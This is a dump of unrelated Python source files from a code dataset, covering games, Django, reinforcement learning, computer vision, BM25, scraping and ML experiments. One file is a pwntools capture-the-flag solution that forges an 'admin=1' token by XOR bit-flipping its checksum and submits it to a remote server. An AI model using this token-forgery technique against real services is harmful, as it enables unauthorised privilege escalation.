overflow=\"hidden\")\n style = dict(position=\"relative\", left=f\"-{index % 8 * W}px\", top=f\"-{(index%16) // 4 * H}px\", width=f\"{W}px\",\n height=f\"{H}px\", overflow=\"hidden\", minWidth=IMGSIZE, minHeight=IMGHEIGHT)\n divsty = dict(STYLE)\n divsty.update({\"max-width\": f\"{W}px\", \"max-height\": f\"{H}px\", \"overflow\": \"hidden\"})\n self.elt = html.DIV(style=divsty)\n self.img = html.IMG(src=image, width=W, height=H, style=style)\n self.elt <= self.img\n self._cria_divs(W)\n \nclass SpriteSala(Salao):\n def __init__(self, n=NADA, l=NADA, s=NADA, o=NADA, nome='', **kwargs):\n self.cenas = [n, l, s, o]\n self.nome = nome\n # Sala.c(**kwargs)\n self.p()\ndef is7(j):\n if j//8:\n j+7\nLAND = \"https://i.imgur.com/Cmyq9vd.jpg\"\nMAPA = [{k:CenaSprite(LAND, index=v) for k, v in zip(\"nlso\", range(l,l+4))} for l in range(0,64*7,7)]\n#MAPA = [{k:v for k, v in zip(\"nlso\", range(l,l+4))} for l in range(0,16,4)]\n# print(MAPA)\nsl = [SpriteSala(**sl) for sl in MAPA]\n# LA = [(j, (j-1)%(((j)//8+1)*8), (j+64+8)%64, (j+1)%(((j)//8+1)*8), (j+56)%64) for j in range(0,64)]\nLA = [(j, (j -1) if (j%8) else (j+7), (j+64+8)%64, (j+1)%(((j)//8+1)*8), (j+56)%64) for j in range(0,64)]\n# LABS = [{k: v for k, v in zip(\"cnlso\", [sl[int(s)] for s in cruz])} for cruz in \"03131 12020 21313 30202\".split()]\nLABS = [{k: v for k, v in zip(\"cnlso\", [sl[int(s)] for s in cruz])} for cruz in LA]\nlb = [Labirinto(**salas) for salas in LABS]\n#c=CenaSprite(LAND, index=6)\n#c.vai()\nElemento(BSNOW, w=W, h=H, o=0.8, cena=sl[0].norte, style={'pointer-events': 'none'})\ns = 64\ni = sl[0].norte\na = Sprite(ANICONS, x=700, y=300, w=s, h=s, o=0.4, index=0, sw=320, sh=256, cx=5, cena=i, b=4, s=1) #, tipo=\"320px 256px\")\ns = Elemento(SUPPLY, w=200, cena=i)\np = Elemento(PARADRP, x=888, w=100, h=50, y=500, cena=i)\ni.vai()\n# i.elt.text=LABS\n#print(a.style)\n","sub_path":"danae/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"270838634","text":"from django.db import models\nfrom models import DemoCart\n\nfrom satchless.cart.models import Cart\n\ndef carts_sizes(request):\n try:\n cart_size = (DemoCart.objects.get_from_request(request, 'cart')\n .items.aggregate(cart_size=models.Sum('quantity')))['cart_size'] or 0\n except Cart.DoesNotExist:\n cart_size = 0\n try:\n wishlist_size = (DemoCart.objects.get_from_request(request, 'wishlist')\n .items.aggregate(cart_size=models.Sum('quantity')))['cart_size'] or 0\n except Cart.DoesNotExist:\n wishlist_size = 0\n return {'cart_size': cart_size,\n 'wishlist_size': wishlist_size}","sub_path":"examples/demo/carts/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"469799056","text":"# coding:utf-8\r\n\r\n'''\r\nExercício 1 - Laboratório de Programação\r\nAluno: Bruno Olimpio dos Santos\r\n'''\r\n\r\nentrada=open('L0Q1.in', 'r')\r\nstring=entrada.read()\r\nlinhas=string.split('\\n')\r\nentrada.close()\r\nsaida=open('L0Q1.out', 'w')\r\nT=int(linhas[0])\r\n\r\nif (T >=1) and (T<=1000):\r\n for i in range (T):\r\n AeC=linhas[i+1].split(' ')\r\n A=int(AeC[0])\r\n C=int(AeC[1])\r\n B=0\r\n if ((A >=1) and (A<=10000)) and ((C >=1) and (C<=1000)):\r\n for b in range(C):\r\n if ((A * b)%C)==1:\r\n B=b\r\n if B==0:\r\n saida.write('Caso %d: muito difícil\\n' %(i+1))\r\n elif B!=0:\r\n saida.write('Caso %d: %d\\n' % (i+1, B))\r\n elif ((A >=1) and (A<=10000)) == False:\r\n saida.write('Caso %d: A (%d) está fora do intervalo permitido (1 <= A <= 10000)\\n' % ((i+1),A))\r\n elif ((C >=1) and (C<=1000)) == False:\r\n saida.write('Caso %d: C (%d) está fora do intervalo permitido (1 <= C <= 1000)\\n' % ((i+1),C))\r\nelse:\r\n print(\" 'T' (%d) está fora do intervalo permitido(1<=T<=1000)\" % T)\r\nsaida.close()\r\n","sub_path":"E1/bruno_olimpio_E1.py","file_name":"bruno_olimpio_E1.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"578378147","text":"from tensorforce import Agent, Environment\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\nimport pickle\nfrom tqdm import tqdm\n\n\n#setparameters\nnum_steps=1000 #update exploration rate over n steps\ninitial_value=0.9 #initial exploartion rate\ndecay_rate=0.5 #exploration rate decay rate\nset_type='exponential' #set the type of decay linear, exponential\nexploration=dict(type=set_type, unit='timesteps',\n num_steps=num_steps,initial_value=initial_value,\n decay_rate=decay_rate)\n\nepisode_number=3000\nevaluation_episode_number=50\naverage_over=100\n\n# Pre-defined or custom environment\nenvironment = Environment.create(environment='gym', level='Hopper-v3')\n'''\nFor detailed notes on how to interact with the Mujoco environment, please refer\nto note https://bailiping.github.io/Mujoco/\n\nObservation:\n\n Num Observation Min Max\n x_position(exclude shown up in info instead) Not Limited\n 0 rootz Not Limited\n 1 rooty Not Limited\n 2 thigh joint -150 0\n 3 leg joint -150 0\n 4 foot joint -45 45\n 5 velocity of rootx -10 10\n 6 velocity of rootz -10 10\n 7 velocity of rooty -10 10\n 8 angular velocity of thigh joint -10 10\n 9 angular velocity of leg joint -10 10\n 10 angular velocity of foot joint -10 10\n\nActions:\n 0 Thigh Joint Motor -1 1\n 1 Leg Joint Motor -1 1\n 2 Foot Joint Motor -1 1\nTermination:\n healthy_angle_range=(-0.2, 0.2)\n'''\n\nif __name__ == \"__main__\":\n\n reward_record_without=[]\n agent_without = Agent.create(agent='agent.json', environment=environment,exploration=exploration)\n states=environment.reset()\n terminal = False\n print('Training Normal Agent')\n for _ in tqdm(range(episode_number)):\n episode_reward=0\n states = environment.reset()\n terminal= False\n while not terminal:\n actions = agent_without.act(states=states)\n states, terminal, reward = environment.execute(actions=actions)\n episode_reward+=reward\n agent_without.observe(terminal=terminal, reward=reward)\n reward_record_without.append(episode_reward)\n pickle.dump(reward_record_without, open( \"hopper_without_record.p\", \"wb\"))\n\n #evaluate the agent without Boundary\n episode_reward = 0.0\n evaluation_reward_record_without=[]\n print('Evaluating Normal Agent')\n for _ in tqdm(range(evaluation_episode_number)):\n episode_reward=0\n states = environment.reset()\n internals = agent_without.initial_internals()\n terminal = False\n while not terminal:\n actions, internals = agent_without.act(\n states=states, internals=internals, independent=True, deterministic=True\n )\n states, terminal, reward = environment.execute(actions=actions)\n episode_reward += reward\n evaluation_reward_record_without.append(episode_reward)\n pickle.dump(evaluation_reward_record_without, open( \"hopper_evaluation_without_record.p\", \"wb\"))\n agent_without.close()","sub_path":"hopper/Normal.py","file_name":"Normal.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"20156523","text":"import argparse\nimport random\nimport time\nimport cv2\n\nprint(\"Reading image...\")\n\nimage = cv2.imread('../images/escarabajo1.jpg')\n\nprint(\"Initializing SS...\")\n\nss = cv2.ximgproc.segmentation.createSelectiveSearchSegmentation()\nss.setBaseImage(image)\nss.switchToSelectiveSearchFast()\n\nstart = time.time()\nrects = ss.process()\nend = time.time()\n\nprint(\"[INFO] selective search took {:.4f} seconds\".format(end - start))\nprint(\"[INFO] {} total region proposals\".format(len(rects)))\n\nfor i in range(0, len(rects), 100):\n\t# clone the original image so we can draw on it\n\toutput = image.copy()\n\t# loop over the current subset of region proposals\n\tfor (x, y, w, h) in rects[i:i + 100]:\n\t\t# draw the region proposal bounding box on the image\n\t\tcolor = [random.randint(0, 255) for j in range(0, 3)]\n\t\tcv2.rectangle(output, (x, y), (x + w, y + h), color, 2)\n\t# show the output image\n\tcv2.imshow(\"Output\", output)\n\tkey = cv2.waitKey(0) & 0xFF\n\t# if the `q` key was pressed, break from the loop\n\tif key == ord(\"q\"):\n\t\tbreak","sub_path":"selective_search/selective_search.py","file_name":"selective_search.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"114487339","text":"#!/usr/bin/env python3\n\nimport argparse\nimport gym\nimport time\nfrom gym_minigrid.minigrid import Grid\n\ntry:\n import gym_minigrid\nexcept ImportError:\n pass\n\nimport utils\nfrom thesis.environments import SmallUnlock8x8\nfrom thesis.wrappers import MyFullyObservableWrapperBroadcast, MyFullyObservableWrapper, MyFullyObservableWrapperEgo, ReducedActionWrapper, UndiscountedRewards, HastyRewards\nfrom gym_minigrid.envs import EmptyEnv8x8\nimport torch\n\n\ndef introspect_i2a(environment, model, seed=0, argmax=False, pause=0.1):\n utils.seed(seed)\n\n # Generate environment\n\n environment.seed(seed)\n\n # Define agent\n\n model_dir = utils.get_model_dir(model)\n preprocess_obss = utils.ObssPreprocessor(model_dir, environment.observation_space)\n model = utils.load_model(model_dir)\n\n # Run the agent\n\n done = True\n\n while True:\n if done:\n obs = environment.reset()\n print(\"Instr:\", obs[\"mission\"])\n\n time.sleep(pause)\n renderer = environment.render(\"human\")\n\n preprocessed_obss = preprocess_obss([obs])\n\n with torch.no_grad():\n dist, _, pred_actions, pred_observations, pred_rewards = model(preprocessed_obss, introspect=True)\n\n renderer.window.update_imagination_display(pred_observations, pred_actions, pred_rewards)\n\n if argmax:\n actions = dist.probs.max(1, keepdim=True)[1]\n else:\n actions = dist.sample()\n\n if torch.cuda.is_available():\n actions = actions.cpu().numpy()\n\n obs, reward, done, _ = environment.step(actions.item())\n\n if renderer.window is None:\n break\n\n\ndef enjoy_i2a_empty():\n environment_class = HastyRewards(MyFullyObservableWrapperEgo(EmptyEnv8x8()))\n introspect_i2a(environment_class, \"I2A-3_Haste-Ego-EmptyEnv8x8_s1_18-11-08-07-45-08\", pause=1)\n\n\ndef enjoy_i2a_unlocked():\n environment_class = HastyRewards(MyFullyObservableWrapperEgo(SmallUnlock8x8()))\n introspect_i2a(environment_class, \"I2A-3_Haste-Ego-SmallUnlock8x8_s1_18-11-08-08-04-06\", pause=1)\n\n\nenjoy_i2a_unlocked()\n","sub_path":"thesis/introspect_i2a.py","file_name":"introspect_i2a.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"430734859","text":"\"\"\"\n\n Test the walk function and related code\n\n\"\"\"\nimport unittest\nfrom fs.memoryfs import MemoryFS\n\nclass TestWalk(unittest.TestCase):\n \n def setUp(self):\n self.fs = MemoryFS()\n self.fs.setcontents('a.txt', 'hello')\n self.fs.setcontents('b.txt', 'world')\n self.fs.makeopendir('foo').setcontents('c', '123')\n self.fs.makeopendir('.svn').setcontents('ignored', '')\n \n def test_wildcard(self):\n for dir_path, paths in self.fs.walk(wildcard='*.txt'):\n for path in paths:\n self.assert_(path.endswith('.txt'))\n for dir_path, paths in self.fs.walk(wildcard=lambda fn:fn.endswith('.txt')):\n for path in paths:\n self.assert_(path.endswith('.txt'))\n \n def test_dir_wildcard(self):\n \n for dir_path, paths in self.fs.walk(dir_wildcard=lambda fn:not fn.endswith('.svn')): \n for path in paths: \n self.assert_('.svn' not in path)\n ","sub_path":"fs/tests/test_walk.py","file_name":"test_walk.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"613755760","text":"# -*- coding: utf-8 -*-\n# Created by richie at 2018/11/22\n\nimport json\nfrom pypinyin import lazy_pinyin, Style\nimport time\nimport markdown\n\ncategory_map = {\n u\"动作\": 8,\n u\"喜剧\": 9,\n u\"爱情\": 10,\n u\"科幻\": 11,\n u\"剧情\": 12,\n u\"恐怖\": 13,\n u\"战争\": 14,\n u\"\": 8,\n}\n\n\ndef get_one_json(file_name, start_id):\n with open(file_name, \"r\") as f:\n one_page_movie_content_str = f.read()\n one_page_movie_content = json.loads(one_page_movie_content_str, encoding=\"utf-8\")\n lines = []\n for movie in one_page_movie_content:\n try:\n start_id += 1\n if '/' in movie.get('teanslation_title', movie.get(\"real_title\", \"无名\")):\n name = movie.get('teanslation_title', movie.get(\"real_title\", \"无名\")).split(\"/\")[0]\n else:\n name = movie.get('teanslation_title', movie.get(\"real_title\"))\n letter = lazy_pinyin(name, style=Style.FIRST_LETTER)[0].upper()\n if len(letter) > 1:\n letter = letter[0]\n s_language = movie.get('language', \"\")\n if \"/\" in s_language:\n language = s_language.split(\"/\")[0]\n elif \",\" in s_language:\n language = s_language.split(\",\")[0]\n else:\n language = \"普通话\"\n\n s_area = movie.get('place', \"\")\n\n if \"/\" in s_area:\n area = s_area.split(\"/\")[0]\n elif \" \" in s_area:\n area = s_area.split(\" \")[0]\n else:\n area = s_area\n if len(language) > 10:\n print(language)\n # print(start_id,language, area)\n\n content = \"{0}![]({1})\".format(movie.get('introduction', \"\"), movie['content_url'])\n filed = (start_id,\n 22,\n name,\n movie['real_title'],\n '',\n \"#FF0000\",\n \",\".join(movie.get('actors', [])[:2]),\n \",\".join(movie.get('director', [])),\n markdown.markdown(content),\n 'error',\n area,\n language,\n int(movie.get(\"time\", 0)),\n '0',\n int(time.time()),\n 0,\n 0,\n 0,\n 0,\n 0,\n 5,\n 1,\n 0,\n 0,\n movie[\"download_url\"],\n movie[\"download_url\"],\n 'admin',\n '',\n letter,\n 10.0,\n 1,\n 0,)\n except Exception:\n continue\n # filed = json.dumps(str(filed), ensure_ascii=False, indent=4, encoding='utf-8')\n # print filed\n lines.append(\"\"\"INSERT INTO `gx_video` VALUES \"\"\" + str(filed))\n\n return lines, start_id\n\n\nif __name__ == \"__main__\":\n f = open(\"movie.sql\", \"a\")\n start_id = 7618\n for i in range(1, 5):\n file_name = \"jilupian/new_movie_{}.json\".format(i)\n print(file_name)\n lines, start_id = get_one_json(file_name, start_id)\n for item in lines:\n f.write(item + ';\\n')\n f.close()\n","sub_path":"s_create_movie_sql_data.py","file_name":"s_create_movie_sql_data.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"2195154","text":"import pandas as pd\nimport argparse\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import precision_recall_curve\n\n\nparser = argparse.ArgumentParser(description='Process arguments.')\nparser.add_argument('--input_file', type=str,\n default='../server/metadata/model-related/secondary_road/d4_subset_with_manual_inspection_300.csv',\n help='input file with path to create roc curve from')\nargs = parser.parse_args()\ninput_file = args.input_file\n\ndf = pd.read_csv(input_file, header=0, index_col=False,\n dtype={'MAPPED_IMAGE': str,\n 'MANUAL_YN': str,\n 'ROUND_PREDICT_2': float,\n 'ROUND_PREDICT_4': float})\ndf['MANUAL_YN'] = df.MANUAL_YN.apply(lambda row: 0 if row == 'N' else 1)\nprecision, recall, thresholds = precision_recall_curve(df['MANUAL_YN'].to_numpy(), df['ROUND_PREDICT_2'].to_numpy(), pos_label=1)\nprint(precision)\nprint(recall)\nprint(thresholds)\nplt.plot(thresholds, precision[:-1], 'b--', linewidth=2, label='Precision')\nplt.plot(thresholds, recall[:-1], 'g-', linewidth=2, label='Recall')\nplt.xlabel('Threshold')\nplt.legend()\nplt.grid(True)\nplt.show()\n","sub_path":"data_processing/create_prec_recall_threshold_plot.py","file_name":"create_prec_recall_threshold_plot.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"234923732","text":"import keras\nfrom keras.models import Model\nfrom keras.layers import Dense, Dropout, Flatten , Activation, Input\nfrom keras.layers import Conv2D, AveragePooling2D, MaxPooling2D, ZeroPadding2D\nfrom keras.optimizers import RMSprop\nfrom keras import backend as K\nimport numpy as np\nimport numpy.random as rand\nimport variational_autoencoder as vae\nimport mstar\nimport math\nfrom matplotlib import pyplot as plt\n\nbatch_size = 128;\nnum_classes = 10;\nepochs = 20;\nregularization = 1E-3;\ndropout = 0.5\ndataset = 'mstardataset_28.mat'\nimg_size = 28\n\ndef run_few_shot_exp(n_trials = 15):\n\n print(\"Running one-shot mstar cnn exp w/ %d trials on each of %d classes\"\n %(n_trials, num_classes))\n\n #Load data\n x_all, y_all, _ = mstar.load_dataset(dataset)\n\n\n # reshape to include num color channels (1 for grayscale, channel is last in tf)\n input_shape = (img_size, img_size, 1);\n x_all = x_all.reshape((x_all.shape[0],)+input_shape)\n\n # build model\n model = mstar.create_base_network(input_shape,\n dropout = dropout,\n regularization = regularization,\n output_size = num_classes,\n output_activation = 'softmax');\n\n model.summary();\n\n model.compile(loss = 'categorical_crossentropy',\n optimizer = keras.optimizers.Adam(),\n metrics = ['accuracy']);\n\n # save initial (untrained weights) for reuse on each trial\n initial_weights = model.get_weights()\n\n\n # split up by class (before converting to one-hot)\n category_indices = [np.where(y_all == i)[0] for i in range(num_classes)]\n\n # find which classes has the fewest number of examples\n fewest = min([len(category_indices[c]) for c in range(num_classes)])\n max_n_examples = math.floor(fewest * 0.8)\n\n training_counts = np.floor(np.geomspace(1, max_n_examples, n_trials, True))\n training_counts = training_counts.astype(int)\n\n exp_results = np.empty((n_trials, num_classes, 2)) # to hold results of exp trials\n\n for n_trial in range(n_trials):\n for n in range(num_classes):\n print(\"Class %d/%d of sample size set %d/%d\"%(\n n, num_classes, n_trial, n_trials))\n\n n_samples = training_counts[n_trial]\n\n # assemble training set\n train_samples = np.empty((num_classes, max_n_examples), dtype=int)\n # TODO, the siamese few_shot experiment has been altered to not duplicate the OS class,\n # it seemed to reduce overfitting that hurt performance. maybe this should get that too.\n for i in range(num_classes):\n if (i==n): # one-shot test class\n # get n_samp of test class\n temp = rand.choice(category_indices[n], n_samples)\n # duplicate up to total_train_size/n_class examples\n train_samples[i,:] = rand.choice(temp, max_n_examples, replace=True)\n else:\n train_samples[i,:] = rand.choice(category_indices[i], max_n_examples)\n\n # assemble testing set\n # half of testing set is the remaining examples of the os class\n test_samples = np.setdiff1d(category_indices[n], train_samples[n])\n\n train_samples = np.reshape(train_samples, -1)\n\n # other half of test set is random examples from everything else\n everything_else = np.setdiff1d(\n np.concatenate(category_indices),\n np.reshape(train_samples, -1)) # everything not in training set\n everyting_else = np.setdiff1d(\n everything_else,\n test_samples) # everything not in training set or of test class\n\n temp = rand.choice(everything_else, test_samples.shape[0])\n test_samples = np.concatenate((test_samples, temp), axis=0)\n\n # shuffle\n rand.shuffle(train_samples)\n rand.shuffle(test_samples)\n\n x_train = x_all[train_samples]\n y_train = y_all[train_samples]\n x_test = x_all[test_samples]\n y_test = y_all[test_samples]\n\n\n # to one-hot arrays\n y_train = keras.utils.to_categorical(y_train, num_classes);\n y_test = keras.utils.to_categorical(y_test, num_classes);\n\n # training\n model.set_weights(initial_weights) #reset to randomized wieghts\n model.fit(x_train, y_train,\n batch_size = batch_size,\n epochs = epochs,\n verbose = 1)\n\n # evaluating accuracy (train and test)\n y_pred = model.predict(x_train)\n tr_acc = np.sum((np.argmax(y_train, axis=1) == n) == (np.argmax(y_pred, axis=1) == n))/y_pred.shape[0]\n\n y_pred = model.predict(x_test)\n te_acc = np.sum((np.argmax(y_test, axis=1) == n) == (np.argmax(y_pred, axis=1) == n))/y_pred.shape[0]\n print(\"Train acc:\", tr_acc, \"\\tTest acc:\", te_acc)\n exp_results[n_trial, n,:] = (tr_acc, te_acc)\n np.savez('mstar_cnn_few_shot', exp_results=exp_results, training_counts=training_counts)\n print(exp_results)\n\n\ndef run_basic_exp(n_trials = 10):\n print(\"Running basic mstar cnn exp w/ %d trials\"%n_trials)\n\n ''' Load data '''\n x_all, y_all, _ = mstar.load_dataset(dataset)\n\n # optionally augment dataset with randomly translated samples\n # needs to be trained proportionbal longer to get comparable results, thus the epoch increase\n# x_all, y_all = mstar.translational_augmentation(x_all, y_all, 5); epochs = 100;\n\n # reshape to include num color channels (1 for grayscale, channels is last dimension when using tf)\n input_shape = (img_size, img_size, 1);\n x_all = x_all.reshape((x_all.shape[0],)+input_shape)\n\n # to one-hot arrays\n y_all = keras.utils.to_categorical(y_all, num_classes);\n\n # build model\n model = mstar.create_base_network(input_shape,\n dropout = dropout,\n regularization = regularization,\n output_size = num_classes,\n output_activation = 'softmax');\n\n model.summary();\n\n model.compile(loss = 'categorical_crossentropy',\n optimizer = keras.optimizers.Adam(),\n metrics = ['accuracy']);\n\n # save initial (untrained weights) for reuse on each trial (saves time by not recompiling model)\n initial_weights = model.get_weights()\n\n exp_results = np.empty((n_trials, 2)) # to hold results of exp trials\n\n for run in range(n_trials):\n print(\"\\nSim run #%d/%d\"%(run,n_trials));\n\n # random 90/10 split train/test sets\n x_train, y_train, x_test, y_test = mstar.split_dataset_prop(x_all, y_all, 0.1)\n\n #reset weights\n model.set_weights(initial_weights)\n\n model.fit(x_train, y_train,\n batch_size = batch_size,\n epochs = epochs,\n verbose = 1,\n validation_data = (x_test, y_test));\n\n tr_acc = model.evaluate(x_train, y_train, verbose=0)[1]\n te_acc = model.evaluate(x_test, y_test, verbose=0)[1]\n exp_results[run,:] = (tr_acc, te_acc)\n print(\"Average Train and Test accuracies results for %d runs\" % n_trials)\n print(\"Train Mean %f\\tTest Mean %f\" % tuple(np.mean(exp_results, axis = 0)))\n print(\"Train Var %f\\tTest Std %f\" % tuple(np.std(exp_results, axis = 0)))\n model.save('mstar_cnn_model.h5');\n\nif __name__ == \"__main__\":\n run_basic_exp()\n #run_os_exp(15)\n","sub_path":"MSTAR/mstar_cnn.py","file_name":"mstar_cnn.py","file_ext":"py","file_size_in_byte":7527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"141159188","text":"import itchat\n\n@itchat.msg_register(itchat.content.TEXT)\ndef text_reply(msg):\n if msg['Text'] == 'Hello':\n reply_text = 'OK'\n elif msg['Text'] == 'OK':\n reply_text = 'Not OK!'\n else:\n reply_text = 'No Comments!'\n return reply_text\n\nitchat.auto_login(hotReload=True)\nitchat.run()","sub_path":"learning.py","file_name":"learning.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"188908007","text":"from pycharts.fields.plot_options.data_labels import DataLabels\n\nclass PiePlotOptions(object):\n\n def __init__(self):\n self.allow_point_select = True\n self.cursor = 'pointer'\n self.data_labels = DataLabels(enabled=False)\n self.show_in_legend = True\n\n def set_allow_point_select(self, enable):\n if not type(enable) is bool:\n raise TypeError('enable should be a boolean (True or False).')\n self.allow_point_select = enable\n\n def show_legend(self, enable):\n if not type(enable) is bool:\n raise TypeError('enable should be a boolean (True or False).')\n self.show_in_legend = enable\n self.data_labels.show_labels(not enable)\n\n def to_javascript(self):\n jsc = \"pie: {\"\n jsc += \"allowPointSelect: \"\n if self.allow_point_select:\n jsc += \"true\"\n else:\n jsc += \"false\"\n jsc += \", cursor: '\" + self.cursor + \"'\"\n jsc += \", \" + self.data_labels.to_javascript()\n jsc += \", showInLegend: \"\n if self.show_in_legend:\n jsc += \"true\"\n else:\n jsc += \"false\"\n jsc += \"}\"\n return jsc","sub_path":"pycharts/fields/plot_options/pie_plot_options.py","file_name":"pie_plot_options.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"63872685","text":"import numpy as np\nfrom collections import Counter\n\nclass BM25(object):\n def __init__(self, query_list, k1=2, k2=1, b=0.5):\n self.query_list = query_list\n self.query_number = len(query_list)\n self.avg_query_len = sum([len(doc) for doc in query_list]) / self.query_number\n self.f = []\n self.idf = {}\n self.k1 = k1\n self.k2 = k2\n self.b = b\n df = {}\n for document in self.query_list:\n temp = {}\n for word in document:\n temp[word] = temp.get(word, 0) + 1\n self.f.append(temp)\n for key in temp.keys():\n df[key] = df.get(key, 0) + 1\n for key, value in df.items():\n self.idf[key] = np.log((self.query_number - value + 0.5) / (value + 0.5))\n\n def get_score(self, index, query):\n score = 0.0\n query_len = len(self.f[index])\n qf = Counter(query)\n for q in query:\n if q not in self.f[index]:\n continue\n score += self.idf[q] * (self.f[index][q] * (self.k1 + 1) / (\n self.f[index][q] + self.k1 * (1 - self.b + self.b * query_len / self.avg_query_len))) * (\n qf[q] * (self.k2 + 1) / (qf[q] + self.k2))\n return score\n\n def get_query_score(self, query):\n score_list = []\n for i in range(self.query_number):\n score_list.append(self.get_score(i, query))\n return score_list\n\nquery_list = [\"火锅加盟排行榜\",\n \"奶茶加盟\",\n \"桥头排骨加盟费\",\n \"串串香加盟费多少\",\n \"泡面小食堂加盟\",\n \"大益茶加盟费多少\"]\nimport jieba\nquery_list = [list(jieba.cut(doc)) for doc in query_list]\nbm25 = BM25(query_list)\nfor item in bm25.query_list:\n print(item)\nprint(\"doc_num:\",bm25.query_number)\nprint(\"avg_len:\",bm25.avg_query_len)\nprint(\"f:\")\nfor item in bm25.f:\n print(item)\nprint(bm25.idf)\nquery = \"烧烤排骨加盟\"\nquery = list(jieba.cut(query))\nscores = bm25.get_query_score(query)\nprint(scores)\nmax_value = max(scores) #返回最大值\nmax_index = scores.index(max(scores)) # 返回最大值的索引\nprint(\"max_value:\",max_value)\nprint(\"index:\",max_index)\nprint(\"query\",query)\nprint(\"doc:\",query_list[max_index])\n","sub_path":"similarity/BM25.py","file_name":"BM25.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"591050128","text":"import scrapy\n\nfrom blog.items import BlogspiderItem\n\n\n\nclass BlogSpider(scrapy.Spider):\n name = \"blogspider\"\n start_urls = [\"http://royluo.org/\",]\n\n def parse(self, response):\n #print(response.url)\n href = response.xpath(\"//a[@class='article-title']/@href\").extract_first()\n url = response.urljoin(href)\n #print(url)\n yield scrapy.Request(url, callback=self.parse_blog_page)\n\n\n def parse_blog_page(self, response):\n item = BlogspiderItem()\n title = response.xpath(\"//title/text()\").extract_first()\n item['link'] = response.url\n item['title'] = title.split(\"|\")[0] \n item['date'] = response.xpath(\"//div/a/time/@datetime\").extract_first()\n yield item\n\n next_page = response.xpath(\"//a[@id='article-nav-older']/@href\").extract_first()\n if next_page:\n url = response.urljoin(next_page)\n yield scrapy.Request(url, self.parse_blog_page)\n","sub_path":"blogspider/blog/spiders/blogspider.py","file_name":"blogspider.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"610772659","text":"from pwn import *\r\np = remote('47.97.215.88',10000)\r\np.recvuntil(\"session=\")\r\nsession = p.recvuntil(\";\",drop=True)\r\np.recvuntil(\"checksum=\")\r\nchecksum = p.recvuntil(\"\\n\",drop=True)\r\ng1 = checksum[:32]\r\nt = ord(g1.decode('hex')[15])^ord('1')^ord('0')\r\ncks = checksum[:30]+hex(t)[2:]+checksum[32:]\r\ntoken = \"session=\"+session+\";admin=1;checksum=\"+cks\r\np.recvuntil(\"token:\")\r\np.sendline(token)\r\np.interactive()","sub_path":"日程科目题目/Crypto/xbitf/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"551051145","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCollection of sklearn classifiers including ensemblers and extensions to add\nmissing features\n\"\"\"\nimport logging as log\nfrom scipy.sparse import issparse\nimport numpy as np\nimport copy\nimport types\nfrom IPython.display import clear_output\n\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.base import BaseEstimator\n\nimport xgboost as xgb\nfrom xgboost.sklearn import XGBClassifier\n\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom keras.utils.np_utils import to_categorical\nfrom keras.models import Sequential\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, Callback\nfrom keras.layers import Dense, Dropout, Activation\nfrom keras.layers.advanced_activations import \\\n LeakyReLU, ELU, ThresholdedReLU, PReLU, \\\n ParametricSoftplus, SReLU\n# listed to turn off \"unused\" warning. parameters called via eval.\nLeakyReLU, ELU, ThresholdedReLU, PReLU, ParametricSoftplus, SReLU\n\n# WORKAROUND BUG IN KERAS\nimport tensorflow\nfrom tensorflow.python.ops import control_flow_ops \ntensorflow.python.control_flow_ops = control_flow_ops\n\n###########################################################################\n\nclass XGBClassifier(XGBClassifier):\n \"\"\" add booster parameter\n add ncrossval method\n \n NOTE: Must also edit xgboost\n C:/Users/s/Anaconda3/Lib/site-packages/xgboost-0.6-py3.5.egg/xgboost/sklearn.py\n change \"self.booster\" to \"self.clf\"\n change \"def booster\" to \"def clf\"\n \"\"\"\n xgbmetrics_error = \"\"\"Must provide xbg metric\n xgb metrics are always loss functions to be minimised:\n rmse – root mean square error\n mae – mean absolute error\n logloss – negative log-likelihood\n error – Binary classification error rate (0.5 threshold)\n merror – Multiclass classification error rate\n mlogloss – Multiclass logloss\n auc: Area under the curve \"\"\"\n \n def __init__(self, \n max_depth=3, learning_rate=0.1,\n n_estimators=100, silent=True,\n objective=\"binary:logistic\",\n nthread=-1, gamma=0, min_child_weight=1,\n max_delta_step=0, subsample=1, colsample_bytree=1, colsample_bylevel=1,\n 